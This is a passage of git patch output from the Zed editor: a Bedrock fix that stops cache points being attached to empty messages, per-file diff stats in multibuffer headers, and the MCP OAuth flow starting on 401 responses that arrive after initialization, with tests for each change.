appended to the request carrying nothing but a `cachePoint`. Bedrock
rejects such
a message with a `ValidationException`, breaking the whole request.

The Anthropic path is already internally consistent here: in
`crates/language_models/src/provider/anthropic.rs` (around the message
assembly
in `completion.rs`) the empty-content check runs first, so an empty
message is
dropped before any cache marker is attached. The Bedrock path should
behave the
same way.

This change gates the `CachePoint` push on non-empty content
(`&& !bedrock_message_content.is_empty()`), so an empty message is left
empty and
then skipped by the existing `continue`, exactly mirroring the Anthropic
ordering.
The fix is minimal and touches only the cache-point condition.

Release Notes:

- Fixed Bedrock requests failing with ValidationException when the last
message filtered to empty content while prompt caching was enabled.

---------

Signed-off-by: Yi LIU <yi@quantstamp.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 .../language_models/src/provider/bedrock.rs   | 90 ++++++++++++++++++-
 1 file changed, 89 insertions(+), 1 deletion(-)

diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index 7d07261f641c69..ba3b587151a060 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -1025,7 +1025,7 @@ pub fn into_bedrock(
                         }
                     })
                     .collect();
-                if message.cache && supports_caching {
+                if message.cache && supports_caching && !bedrock_message_content.is_empty() {
                     bedrock_message_content.push(BedrockInnerContent::CachePoint(
                         CachePointBlock::builder()
                             .r#type(CachePointType::Default)
@@ -1747,3 +1747,91 @@ impl ConfigurationView {
             )
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use language_model::LanguageModelRequestMessage;
+
+    fn into_bedrock_request(messages: Vec<LanguageModelRequestMessage>) -> bedrock::Request {
+        into_bedrock(
+            LanguageModelRequest {
+                messages,
+                ..Default::default()
+            },
+            "claude-sonnet-4-5".to_string(),
+            1.0,
+            4096,
+            BedrockModelMode::Default,
+            true,
+            true,
+            None,
+            None,
+        )
+        .unwrap()
+    }
+
+    #[test]
+    fn test_cache_marked_message_that_filters_to_empty_is_dropped() {
+        let request = into_bedrock_request(vec![
+            LanguageModelRequestMessage {
+                role: Role::User,
+                content: vec![MessageContent::Text("What's the weather?".into())],
+                cache: false,
+                reasoning_details: None,
+            },
+            LanguageModelRequestMessage {
+                role: Role::Assistant,
+                content: vec![MessageContent::Thinking {
+                    text: "Let me think about this...".into(),
+                    signature: None,
+                }],
+                cache: true,
+                reasoning_details: None,
+            },
+            LanguageModelRequestMessage {
+                role: Role::User,
+                content: vec![MessageContent::Text("Summarize this conversation.".into())],
+                cache: false,
+                reasoning_details: None,
+            },
+        ]);
+
+        for message in &request.messages {
+            assert!(
+                message
+                    .content()
+                    .iter()
+                    .any(|block| !matches!(block, BedrockInnerContent::CachePoint(_))),
+                "message must not consist solely of cache points: {:?}",
+                message
+            );
+        }
+        assert!(
+            request
+                .messages
+                .iter()
+                .all(|message| *message.role() == bedrock::BedrockRole::User),
+            "the assistant message stripped to empty content should be dropped entirely"
+        );
+    }
+
+    #[test]
+    fn test_cache_marked_message_with_content_gets_cache_point() {
+        let request = into_bedrock_request(vec![LanguageModelRequestMessage {
+            role: Role::User,
+            content: vec![MessageContent::Text("What's the weather?".into())],
+            cache: true,
+            reasoning_details: None,
+        }]);
+
+        assert_eq!(request.messages.len(), 1);
+        assert!(
+            matches!(
+                request.messages[0].content().last(),
+                Some(BedrockInnerContent::CachePoint(_))
+            ),
+            "a cache-marked message with content should end with a cache point"
+        );
+    }
+}

From 262fb9ba2a58859c2eef7814249f4d266b065179 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Fri, 3 Jul 2026 10:55:24 -0700
Subject: [PATCH 249/772] Show per-file diff stat in multibuffer headers
 (#60299)

Renders the per-file added/removed line counts (already tracked per
buffer by the multibuffer) in each diff multibuffer header, matching the
overall stat shown in the branch diff toolbar.

### Before
<img width="1624" height="1061" alt="Screenshot 2026-07-02 at 11 50 42
AM"
src="https://github.com/user-attachments/assets/3e46a90c-a4e1-4b72-8ec9-80931a7e4a9a"
/>

### After
<img width="1624" height="1061" alt="Screenshot 2026-07-02 at 12 03 58
PM"
src="https://github.com/user-attachments/assets/25900790-82f5-44e9-9a3b-731a3090f23e"
/>


Release Notes:

- Improved diff multibuffer headers to show per-file added/removed line
counts

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/editor/src/element/header.rs | 91 +++++++++++++++++++----------
 1 file changed, 61 insertions(+), 30 deletions(-)

diff --git a/crates/editor/src/element/header.rs b/crates/editor/src/element/header.rs
index e51f29514a051b..9340ee6ac116b3 100644
--- a/crates/editor/src/element/header.rs
+++ b/crates/editor/src/element/header.rs
@@ -20,8 +20,8 @@ use sum_tree::Bias;
 use text::BufferId;
 use theme::ActiveTheme;
 use ui::{
-    ButtonLike, ContextMenu, Indicator, KeyBinding, Tooltip, prelude::*, right_click_menu,
-    text_for_keystroke,
+    ButtonLike, ContextMenu, DiffStat, Indicator, KeyBinding, Tooltip, prelude::*,
+    right_click_menu, text_for_keystroke,
 };
 use util::ResultExt;
 use workspace::{ItemHandle, ItemSettings, OpenInTerminal, OpenTerminal, RevealInProjectPanel};
@@ -624,6 +624,13 @@ pub(crate) fn render_buffer_header(
     window: &mut Window,
     cx: &mut App,
 ) -> impl IntoElement {
+    let buffer_id = for_excerpt.buffer_id();
+    let header_hovered_state = window.use_keyed_state(
+        ("buffer-header-hovered", buffer_id.to_proto()),
+        cx,
+        |_, _| false,
+    );
+    let header_hovered = *header_hovered_state.read(cx);
     let editor_read = editor.read(cx);
     let multi_buffer = editor_read.buffer.read(cx);
     let is_read_only = editor_read.read_only(cx);
@@ -637,11 +644,16 @@ pub(crate) fn render_buffer_header(
         None
     };
 
-    let buffer_id = for_excerpt.buffer_id();
     let file_status = multi_buffer
         .all_diff_hunks_expanded()
         .then(|| editor_read.status_for_buffer_id(buffer_id, cx))
         .flatten();
+    let diff_stat = multi_buffer
+        .all_diff_hunks_expanded()
+        .then(|| multibuffer_snapshot.diff_for_buffer_id(buffer_id))
+        .flatten()
+        .map(|diff| diff.changed_row_counts())
+        .filter(|(added, removed)| *added > 0 || *removed > 0);
     let indicator = multi_buffer.buffer(buffer_id).and_then(|buffer| {
         let buffer = buffer.read(cx);
         let indicator_color = match (buffer.has_conflict(), buffer.is_dirty()) {
@@ -681,6 +693,14 @@ pub(crate) fn render_buffer_header(
 
     let header = div()
         .id(("buffer-header", buffer_id.to_proto()))
+        .on_hover(move |hovered, _window, cx| {
+            header_hovered_state.update(cx, |state, cx| {
+                if *state != *hovered {
+                    *state = *hovered;
+                    cx.notify();
+                }
+            });
+        })
         .p(BUFFER_HEADER_PADDING)
         .w_full()
         .h(FILE_HEADER_HEIGHT as f32 * window.line_height())
@@ -886,36 +906,47 @@ pub(crate) fn render_buffer_header(
                                     })
                             },
                         ))
-                        .when(can_open_excerpts && relative_path.is_some(), |this| {
+                        .when_some(diff_stat, |this, (added, removed)| {
                             this.child(
-                                div()
-                                    .when(!is_selected, |this| {
-                                        this.visible_on_hover("buffer-header-group")
-                                    })
-                                    .child(
-                                        Button::new("open-file-button", "Open File")
-                                            .style(ButtonStyle::OutlinedGhost)
-                                            .when(is_selected, |this| {
-                                                this.key_binding(KeyBinding::for_action_in(
-                                                    &OpenExcerpts,
-                                                    &focus_handle,
-                                                    cx,
-                                                ))
-                                            })
-                                            .on_click(window.listener_for(editor, {
-                                                let jump_data = jump_data.clone();
-                                                move |editor, e: &ClickEvent, window, cx| {
-                                                    editor.open_excerpts_common(
-                                                        Some(jump_data.clone()),
-                                                        e.modifiers().secondary(),
-                                                        window,
-                                                        cx,
-                                                    );
-                                                }
-                                            })),
-                                    ),
+                                div().flex_shrink_0().child(
+                                    DiffStat::new(
+                                        ("buffer-header-diff-stat", buffer_id.to_proto()),
+                                        added as usize,
+                                        removed as usize,
+                                    )
+                                    .label_size(LabelSize::Small),
+                                ),
                             )
                         })
+                        .when(
+                            can_open_excerpts
+                                && relative_path.is_some()
+                                && (is_selected || header_hovered),
+                            |this| {
+                                this.child(
+                                    Button::new("open-file-button", "Open File")
+                                        .style(ButtonStyle::OutlinedGhost)
+                                        .when(is_selected, |this| {
+                                            this.key_binding(KeyBinding::for_action_in(
+                                                &OpenExcerpts,
+                                                &focus_handle,
+                                                cx,
+                                            ))
+                                        })
+                                        .on_click(window.listener_for(editor, {
+                                            let jump_data = jump_data.clone();
+                                            move |editor, e: &ClickEvent, window, cx| {
+                                                editor.open_excerpts_common(
+                                                    Some(jump_data.clone()),
+                                                    e.modifiers().secondary(),
+                                                    window,
+                                                    cx,
+                                                );
+                                            }
+                                        })),
+                                )
+                            },
+                        )
                         .on_mouse_down(MouseButton::Left, |_, _, cx| cx.stop_propagation())
                         .on_click(window.listener_for(editor, {
                             let buffer_id = for_excerpt.buffer_id();

From 12e1e24434ebecaa5d81e6d8f08f4c9c4f8cbc14 Mon Sep 17 00:00:00 2001
From: bgfraser <78576904+bgfraser@users.noreply.github.com>
Date: Sat, 4 Jul 2026 04:24:54 +1000
Subject: [PATCH 250/772] Initiate MCP OAuth flow on post-initialize 401
 responses (#60236)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

MCP servers may accept `initialize` unauthenticated but return `401`
with a `WWW-Authenticate` challenge only on a later request such as
`tools/list` or `tools/call`. Previously Zed only started the Auth flow
when `initialize` itself was challenged, so these servers failed
opaquely and stayed stuck in `Running` with a dead client.

`ContextServerStore` now handles `TransportError::AuthRequired` returned
from any request, not just startup: it runs Auth discovery and
transitions the server into `AuthRequired` so the UI offers to
authenticate. The discovery logic is shared with the startup path, and
the tool/prompt request sites route their errors through it.

Release Notes:

- Fixed MCP servers that require auth only on tool calls (not on
`initialize`) failing to prompt for authentication.

---------

Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 crates/context_server/src/client.rs           |  39 +-
 crates/context_server/src/context_server.rs   |  11 +
 crates/context_server/src/protocol.rs         |  17 +-
 crates/context_server/src/transport.rs        |  14 +
 crates/context_server/src/transport/http.rs   |  28 +-
 crates/project/src/context_server_store.rs    | 192 ++++++--
 .../tests/integration/context_server_store.rs | 415 ++++++++++++++++++
 7 files changed, 672 insertions(+), 44 deletions(-)

diff --git a/crates/context_server/src/client.rs b/crates/context_server/src/client.rs
index b8a321d01b50a7..3761f19ec4ae6e 100644
--- a/crates/context_server/src/client.rs
+++ b/crates/context_server/src/client.rs
@@ -4,7 +4,7 @@ use futures::{FutureExt, StreamExt, channel::oneshot, future, select};
 use futures_lite::future::yield_now;
 use gpui::{AppContext as _, AsyncApp, BackgroundExecutor, Task};
 use parking_lot::Mutex;
-use postage::barrier;
+use postage::{barrier, prelude::Stream as _};
 use serde::{Deserialize, Serialize, de::DeserializeOwned};
 use serde_json::{Value, value::RawValue};
 use slotmap::SlotMap;
@@ -21,6 +21,7 @@ use std::{
 use util::{ResultExt, TryFutureExt};
 
 use crate::{
+    oauth::WwwAuthenticate,
     transport::{StdioTransport, Transport},
     types::{CancelledParams, ClientNotification, Notification as _, notifications::Cancelled},
 };
@@ -56,19 +57,19 @@ pub(crate) struct Client {
     #[allow(clippy::type_complexity)]
     #[allow(dead_code)]
     io_tasks: Mutex<Option<(Task<Option<()>>, Task<Option<()>>)>>,
-    #[allow(dead_code)]
     output_done_rx: Mutex<Option<barrier::Receiver>>,
     executor: BackgroundExecutor,
-    #[allow(dead_code)]
     transport: Arc<dyn Transport>,
     request_timeout: Option<Duration>,
     /// Single-slot side channel for the last transport-level error. When the
     /// output task encounters a send failure it stashes the error here and
-    /// exits; the next request to observe cancellation `.take()`s it so it can
-    /// propagate a typed error (e.g. `TransportError::AuthRequired`) instead
-    /// of a generic "cancelled". This works because `initialize` is the sole
-    /// in-flight request at startup, but would need rethinking if concurrent
-    /// requests are ever issued during that phase.
+    /// exits; the next request to observe cancellation `.take()`s it so it
+    /// can fail with the underlying cause (e.g. "connection refused") instead
+    /// of a generic "cancelled". This is best-effort diagnostics: with
+    /// concurrent requests in flight, a single arbitrary one receives the
+    /// stashed error. Nothing may depend on it for correctness —
+    /// authentication challenges are observed via [`Self::wait_for_shutdown`]
+    /// and [`Transport::auth_challenge`], which do not involve requests.
     last_transport_error: Arc<Mutex<Option<anyhow::Error>>>,
 }
 
@@ -348,6 +349,28 @@ impl Client {
         Ok(())
     }
 
+    /// A future that resolves once the transport's output loop has terminated
+    /// — after a send failure, or when this client is dropped — yielding the
+    /// authentication challenge recorded by the transport if it shut down on a
+    /// `401 Unauthorized` response.
+    ///
+    /// Unlike `last_transport_error`, this does not require a request to be in
+    /// flight when the transport fails. Returns `None` if the shutdown signal
+    /// was already claimed: there is a single signal per client.
+    pub(crate) fn wait_for_shutdown(
+        &self,
+    ) -> Option<future::BoxFuture<'static, Option<WwwAuthenticate>>> {
+        let mut output_done = self.output_done_rx.lock().take()?;
+        let transport = self.transport.clone();
+        Some(
+            async move {
+                output_done.recv().await;
+                transport.auth_challenge()
+            }
+            .boxed(),
+        )
+    }
+
     /// Sends a JSON-RPC request to the context server and waits for a response.
     /// This function handles serialization, deserialization, timeout, and error handling.
     pub async fn request<T: DeserializeOwned>(
diff --git a/crates/context_server/src/context_server.rs b/crates/context_server/src/context_server.rs
index 05a3451ea863a3..865f779b160599 100644
--- a/crates/context_server/src/context_server.rs
+++ b/crates/context_server/src/context_server.rs
@@ -21,6 +21,7 @@ use parking_lot::RwLock;
 pub use settings::ContextServerCommand;
 use url::Url;
 
+use crate::oauth::WwwAuthenticate;
 use crate::transport::HttpTransport;
 
 #[derive(Debug, Clone, PartialEq, Eq, Hash)]
@@ -106,6 +107,16 @@ impl ContextServer {
         self.client.read().clone()
     }
 
+    /// The authentication challenge from the last `401 Unauthorized` response
+    /// this server's transport gave up on, if any. See
+    /// [`crate::transport::Transport::auth_challenge`].
+    pub fn auth_challenge(&self) -> Option<WwwAuthenticate> {
+        match &self.configuration {
+            ContextServerTransport::Stdio(..) => None,
+            ContextServerTransport::Custom(transport) => transport.auth_challenge(),
+        }
+    }
+
     pub async fn start(&self, cx: &AsyncApp) -> Result<()> {
         self.initialize(self.new_client(cx)?).await
     }
diff --git a/crates/context_server/src/protocol.rs b/crates/context_server/src/protocol.rs
index 05082637c276ff..6eb4a84a46cc90 100644
--- a/crates/context_server/src/protocol.rs
+++ b/crates/context_server/src/protocol.rs
@@ -8,11 +8,12 @@
 use std::time::Duration;
 
 use anyhow::Result;
-use futures::channel::oneshot;
+use futures::{channel::oneshot, future::BoxFuture};
 use gpui::AsyncApp;
 use serde_json::Value;
 
 use crate::client::{Client, NotificationSubscription};
+use crate::oauth::WwwAuthenticate;
 use crate::types::{self, Notification, Request};
 
 pub struct ModelContextProtocol {
@@ -122,6 +123,20 @@ impl InitializedContextServerProtocol {
         self.inner.notify(T::METHOD, params)
     }
 
+    /// A future that resolves once the underlying transport's output loop has
+    /// terminated — after a send failure, or when the client is dropped —
+    /// yielding the authentication challenge recorded by the transport if it
+    /// shut down on a `401 Unauthorized` response.
+    ///
+    /// Servers may accept `initialize` unauthenticated and only challenge a
+    /// later request or notification. Awaiting this is what lets the owner of
+    /// the connection notice such a challenge even when no request was in
+    /// flight to carry a typed error back. Returns `None` if the shutdown
+    /// signal was already claimed: there is a single signal per client.
+    pub fn wait_for_shutdown(&self) -> Option<BoxFuture<'static, Option<WwwAuthenticate>>> {
+        self.inner.wait_for_shutdown()
+    }
+
     pub fn on_notification(
         &self,
         method: &'static str,
diff --git a/crates/context_server/src/transport.rs b/crates/context_server/src/transport.rs
index bffd7e4c4d84a8..edb8a5e8da026d 100644
--- a/crates/context_server/src/transport.rs
+++ b/crates/context_server/src/transport.rs
@@ -6,6 +6,8 @@ use async_trait::async_trait;
 use futures::Stream;
 use std::pin::Pin;
 
+use crate::oauth::WwwAuthenticate;
+
 pub use http::*;
 pub use stdio_transport::*;
 
@@ -19,4 +21,16 @@ pub trait Transport: Send + Sync {
     /// need the negotiated version (currently only HTTP, which must attach an
     /// `MCP-Protocol-Version` header from 2025-06-18 onward) can pick it up.
     fn set_protocol_version(&self, _version: &str) {}
+
+    /// The authentication challenge from the last `401 Unauthorized` response
+    /// this transport gave up on, if any (currently only set by the HTTP
+    /// transport).
+    ///
+    /// The challenge is recorded right before the failed send tears down the
+    /// client's output loop. Observers of the client's shutdown read it from
+    /// here, so a 401 can initiate the OAuth flow even when it arrived on a
+    /// notification, with no request in flight to carry a typed error.
+    fn auth_challenge(&self) -> Option<WwwAuthenticate> {
+        None
+    }
 }
diff --git a/crates/context_server/src/transport/http.rs b/crates/context_server/src/transport/http.rs
index bf374586b35fb5..aa47a73fc383e6 100644
--- a/crates/context_server/src/transport/http.rs
+++ b/crates/context_server/src/transport/http.rs
@@ -58,6 +58,10 @@ pub struct HttpTransport {
     /// When set, the transport attaches `Authorization: Bearer` headers and
     /// handles 401 responses with token refresh + retry.
     token_provider: Option<Arc<dyn OAuthTokenProvider>>,
+    /// The challenge from the last 401 this transport gave up on; cleared at
+    /// the start of each send so it always describes the most recent attempt.
+    /// See [`Transport::auth_challenge`].
+    auth_challenge: SyncMutex<Option<WwwAuthenticate>>,
 }
 
 impl HttpTransport {
@@ -92,6 +96,7 @@ impl HttpTransport {
             error_rx,
             headers,
             token_provider,
+            auth_challenge: SyncMutex::new(None),
         }
     }
 
@@ -133,8 +138,21 @@ impl HttpTransport {
         Ok(request_builder.body(AsyncBody::from(message.to_vec()))?)
     }
 
+    /// Record the challenge so it remains observable after the failed send
+    /// tears down the client (see [`Transport::auth_challenge`]), and build
+    /// the typed error for the send itself.
+    fn auth_required(&self, www_authenticate: WwwAuthenticate) -> anyhow::Error {
+        *self.auth_challenge.lock() = Some(www_authenticate.clone());
+        TransportError::AuthRequired { www_authenticate }.into()
+    }
+
     /// Send a message and handle the response based on content type.
     async fn send_message(&self, message: String) -> Result<()> {
+        // The same server instance can be restarted over this transport; a
+        // challenge recorded by a previous client generation must not be
+        // observed by the current one.
+        *self.auth_challenge.lock() = None;
+
         let is_notification =
             !message.contains("\"id\":") || message.contains("notifications/initialized");
 
@@ -174,13 +192,13 @@ impl HttpTransport {
 
                     // If still 401 after refresh, give up.
                     if response.status().as_u16() == 401 {
-                        return Err(TransportError::AuthRequired { www_authenticate }.into());
+                        return Err(self.auth_required(www_authenticate));
                     }
                 } else {
-                    return Err(TransportError::AuthRequired { www_authenticate }.into());
+                    return Err(self.auth_required(www_authenticate));
                 }
             } else {
-                return Err(TransportError::AuthRequired { www_authenticate }.into());
+                return Err(self.auth_required(www_authenticate));
             }
         }
 
@@ -335,6 +353,10 @@ impl Transport for HttpTransport {
     fn set_protocol_version(&self, version: &str) {
         *self.protocol_version.lock() = Some(version.to_string());
     }
+
+    fn auth_challenge(&self) -> Option<WwwAuthenticate> {
+        self.auth_challenge.lock().clone()
+    }
 }
 
 impl Drop for HttpTransport {
diff --git a/crates/project/src/context_server_store.rs b/crates/project/src/context_server_store.rs
index ef5077d53a2fa3..bbd53e1e733b3c 100644
--- a/crates/project/src/context_server_store.rs
+++ b/crates/project/src/context_server_store.rs
@@ -8,7 +8,7 @@ use std::time::Duration;
 use anyhow::{Context as _, Result};
 use collections::{HashMap, HashSet};
 use context_server::oauth::{self, McpOAuthTokenProvider, OAuthDiscovery, OAuthSession};
-use context_server::transport::{HttpTransport, TransportError};
+use context_server::transport::HttpTransport;
 use context_server::{ContextServer, ContextServerCommand, ContextServerId};
 use credentials_provider::CredentialsProvider;
 use futures::future::Either;
@@ -93,6 +93,9 @@ enum ContextServerState {
     Running {
         server: Arc<ContextServer>,
         configuration: Arc<ContextServerConfiguration>,
+        /// Initiates the OAuth flow if the transport shuts down on an
+        /// authentication challenge; cancelled by any state transition.
+        _transport_watch: Task<()>,
     },
     Stopped {
         server: Arc<ContextServer>,
@@ -708,9 +711,12 @@ impl ContextServerStore {
                 let new_state = match server.clone().start(cx).await {
                     Ok(_) => {
                         debug_assert!(server.client().is_some());
+                        let _transport_watch =
+                            Self::watch_transport_shutdown(this.clone(), server.clone(), cx);
                         ContextServerState::Running {
                             server,
                             configuration,
+                            _transport_watch,
                         }
                     }
                     Err(err) => resolve_start_failure(&id, err, server, configuration, cx).await,
@@ -733,6 +739,97 @@ impl ContextServerStore {
         );
     }
 
+    /// Watches a running server's transport and initiates the OAuth flow if it
+    /// shuts down on an authentication challenge.
+    ///
+    /// MCP servers may accept `initialize` unauthenticated and only send a 401
+    /// with a `WWW-Authenticate` challenge on a later request or notification.
+    /// The HTTP transport records the challenge, and the failed send tears
+    /// down the client's output loop. Observing that shutdown — rather than
+    /// relying on some request to carry a typed error back to a caller — is
+    /// what lets any post-initialize 401 move the server into `AuthRequired`
+    /// instead of leaving it `Running` with a dead client.
+    fn watch_transport_shutdown(
+        this: WeakEntity<Self>,
+        server: Arc<ContextServer>,
+        cx: &mut AsyncApp,
+    ) -> Task<()> {
+        let Some(shutdown) = server
+            .client()
+            .and_then(|client| client.wait_for_shutdown())
+        else {
+            return Task::ready(());
+        };
+        cx.spawn(async move |cx| {
+            let Some(www_authenticate) = shutdown.await else {
+                // Non-auth transport deaths leave the server state untouched,
+                // as they did before this watch existed.
+                return;
+            };
+            this.update(cx, |this, cx| {
+                this.handle_auth_challenge(server, www_authenticate, cx);
+            })
+            .log_err();
+        })
+    }
+
+    fn handle_auth_challenge(
+        &mut self,
+        server: Arc<ContextServer>,
+        www_authenticate: oauth::WwwAuthenticate,
+        cx: &mut Context<Self>,
+    ) {
+        let id = server.id();
+
+        // Act only if this exact server is still the one we consider running.
+        // If the state has changed since the challenge was recorded, whoever
+        // changed it owns the lifecycle now.
+        let Some(ContextServerState::Running {
+            server: running_server,
+            configuration,
+            ..
+        }) = self.servers.get(&id)
+        else {
+            return;
+        };
+        if !Arc::ptr_eq(running_server, &server) {
+            return;
+        }
+        let configuration = configuration.clone();
+
+        log::info!("{id} received 401 after initialization; initiating OAuth authorization");
+
+        // The 401 already tore down the client's output loop. Stop the dead
+        // client, then resolve auth using the captured `WWW-Authenticate` — do
+        // not restart via `run_server`, as a fresh `initialize` would succeed
+        // and lose the challenge.
+        server.stop().log_err();
+
+        let task = cx.spawn({
+            let id = id.clone();
+            let server = server.clone();
+            let configuration = configuration.clone();
+            async move |this, cx| {
+                let new_state =
+                    resolve_auth_required(&id, &www_authenticate, server, configuration, cx).await;
+                this.update(cx, |this, cx| {
+                    this.update_server_state(id.clone(), new_state, cx)
+                })
+                .log_err();
+            }
+        });
+
+        self.update_server_state(
+            id,
+            ContextServerState::Starting {
+                configuration,
+                _task: task,
+                server,
+            },
+            cx,
+        );
+    }
+
     fn remove_server(&mut self, id: &ContextServerId, cx: &mut Context<Self>) -> Result<()> {
         let state = self
             .servers
@@ -1686,43 +1783,34 @@ async fn resolve_start_failure(
     configuration: Arc<ContextServerConfiguration>,
     cx: &AsyncApp,
 ) -> ContextServerState {
-    let www_authenticate = err.downcast_ref::<TransportError>().map(|e| match e {
-        TransportError::AuthRequired { www_authenticate } => www_authenticate.clone(),
-    });
-
-    if www_authenticate.is_some() && configuration.has_static_auth_header() {
-        log::warn!("{id} received 401 with a static Authorization header configured");
-        return ContextServerState::Error {
-            configuration,
-            server,
-            error: "Server returned 401 Unauthorized. Check your configured Authorization header."
-                .into(),
-        };
-    }
-
-    let server_url = match configuration.as_ref() {
-        ContextServerConfiguration::Http { url, .. } if !configuration.has_static_auth_header() => {
-            url.clone()
-        }
-        _ => {
-            if www_authenticate.is_some() {
-                log::error!("{id} got OAuth 401 on a non-HTTP transport or with static auth");
-            } else {
-                log::error!("{id} context server failed to start: {err}");
-            }
-            return ContextServerState::Error {
-                configuration,
-                server,
-                error: err.to_string().into(),
-            };
-        }
-    };
+    // Read the challenge from the transport rather than downcasting `err`: it
+    // is recorded before the failed send's error propagates, so a 401 is
+    // recognized even when another error (e.g. the request timeout) wins the
+    // race to become the reported startup failure.
+    let www_authenticate = server.auth_challenge();
 
     // When the error is NOT a 401 but there is a cached OAuth session in the
     // keychain, the session is likely stale/expired and caused the failure
     // (e.g. timeout because the server rejected the token silently). Clear it
     // so the next start attempt can get a clean 401 and trigger the auth flow.
+    // If there is no such session this is an ordinary startup error.
     if www_authenticate.is_none() {
+        let server_url = match configuration.as_ref() {
+            ContextServerConfiguration::Http { url, .. }
+                if !configuration.has_static_auth_header() =>
+            {
+                url.clone()
+            }
+            _ => {
+                log::error!("{id} context server failed to start: {err}");
+                return ContextServerState::Error {
+                    configuration,
+                    server,
+                    error: err.to_string().into(),
+                };
+            }
+        };
+
         let credentials_provider = cx.update(|cx| zed_credentials_provider::global(cx));
         match ContextServerStore::load_session(&credentials_provider, &server_url, cx).await {
             Ok(Some(_)) => {
@@ -1751,6 +1839,46 @@ async fn resolve_start_failure(
     let www_authenticate = www_authenticate
         .as_ref()
         .unwrap_or(&default_www_authenticate);
+
+    resolve_auth_required(id, www_authenticate, server, configuration, cx).await
+}
+
+/// Runs OAuth discovery for a server that returned a 401 and produces the
+/// appropriate state (`AuthRequired`, `ClientSecretRequired`, or `Error`).
+///
+/// Shared by the startup path ([`resolve_start_failure`]) and the
+/// post-initialize path ([`ContextServerStore::handle_auth_challenge`]) so
+/// that a 401 at any point — not only during `initialize` — can initiate the
+/// OAuth flow.
+async fn resolve_auth_required(
+    id: &ContextServerId,
+    www_authenticate: &oauth::WwwAuthenticate,
+    server: Arc<ContextServer>,
+    configuration: Arc<ContextServerConfiguration>,
+    cx: &AsyncApp,
+) -> ContextServerState {
+    if configuration.has_static_auth_header() {
+        log::warn!("{id} received 401 with a static Authorization header configured");
+        return ContextServerState::Error {
+            configuration,
+            server,
+            error: "Server returned 401 Unauthorized. Check your configured Authorization header."
+                .into(),
+        };
+    }
+
+    let server_url = match configuration.as_ref() {
+        ContextServerConfiguration::Http { url, .. } => url.clone(),
+        _ => {
+            log::error!("{id} got OAuth 401 on a non-HTTP transport");
+            return ContextServerState::Error {
+                configuration,
+                server,
+                error: "Server returned 401 Unauthorized on a non-HTTP transport".into(),
+            };
+        }
+    };
+
     let http_client = cx.update(|cx| cx.http_client());
 
     match context_server::oauth::discover(&http_client, &server_url, www_authenticate).await {
diff --git a/crates/project/tests/integration/context_server_store.rs b/crates/project/tests/integration/context_server_store.rs
index 090baacf03224e..a91cdd2ea81a09 100644
--- a/crates/project/tests/integration/context_server_store.rs
+++ b/crates/project/tests/integration/context_server_store.rs
@@ -914,6 +914,421 @@ async fn test_remote_context_server(cx: &mut TestAppContext) {
     cx.run_until_parked();
 }
 
+// A server may accept `initialize` unauthenticated (returns 200) yet only send
+// `WWW-Authenticate` on a later request such as `tools/list` / `tools/call`.
+// That post-initialize 401 must initiate the OAuth flow instead of surfacing as
+// an opaque request failure while the server stays "Running".
+#[gpui::test]
+async fn test_http_server_authenticates_on_post_init_401(cx: &mut TestAppContext) {
+    use context_server::transport::TransportError;
+
+    const SERVER_ID: &str = "auth-server";
+    let server_id = ContextServerId(SERVER_ID.into());
+
+    set_fake_mcp_http_client(cx, |message| {
+        if message.contains("\"method\":\"initialize\"") {
+            Ok(initialize_response())
+        } else if message.contains("notifications/initialized") {
+            Ok(notification_accepted_response())
+        } else {
+            Ok(unauthorized_response())
+        }
+    });
+
+    let (_fs, project) = setup_context_server_test(cx, json!({ "code.rs": "" }), vec![]).await;
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+
+    set_http_context_server_configuration(&server_id, cx);
+
+    {
+        let _server_events = assert_server_events(
+            &store,
+            vec![
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::Running),
+            ],
+            cx,
+        );
+        cx.run_until_parked();
+    }
+
+    let client = store.read_with(cx, |store, _| {
+        store
+            .get_running_server(&server_id)
+            .expect("server should be running")
+            .client()
+            .expect("running server should have a client")
+    });
+
+    {
+        let _server_events = assert_server_events(
+            &store,
+            vec![
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::AuthRequired),
+            ],
+            cx,
+        );
+
+        // The 401 tears down the client, and the request that carried it fails
+        // with the typed error.
+        let error = client
+            .request::<context_server::types::requests::ListTools>(())
+            .await
+            .expect_err("request challenged with a 401 should fail");
+        assert!(
+            matches!(
+                error.downcast_ref::<TransportError>(),
+                Some(TransportError::AuthRequired { .. })
+            ),
+            "expected an AuthRequired error, got: {error}"
+        );
+
+        cx.run_until_parked();
+    }
+
+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::AuthRequired),
+            "server should require authentication after a post-initialize 401"
+        );
+    });
+}
+
+// The first 401 may even arrive on a notification (`notifications/initialized`
+// here): the send fails with no request in flight to carry a typed error back,
+// and the client is dead by the time anything notices. Watching the transport
+// shutdown must still move the server into `AuthRequired`.
+#[gpui::test]
+async fn test_http_server_authenticates_on_notification_401(cx: &mut TestAppContext) {
+    const SERVER_ID: &str = "auth-server";
+    let server_id = ContextServerId(SERVER_ID.into());
+
+    set_fake_mcp_http_client(cx, |message| {
+        if message.contains("\"method\":\"initialize\"") {
+            Ok(initialize_response())
+        } else {
+            Ok(unauthorized_response())
+        }
+    });
+
+    let (_fs, project) = setup_context_server_test(cx, json!({ "code.rs": "" }), vec![]).await;
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+
+    set_http_context_server_configuration(&server_id, cx);
+
+    {
+        let _server_events = assert_server_events(
+            &store,
+            vec![
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::Running),
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::AuthRequired),
+            ],
+            cx,
+        );
+        cx.run_until_parked();
+    }
+
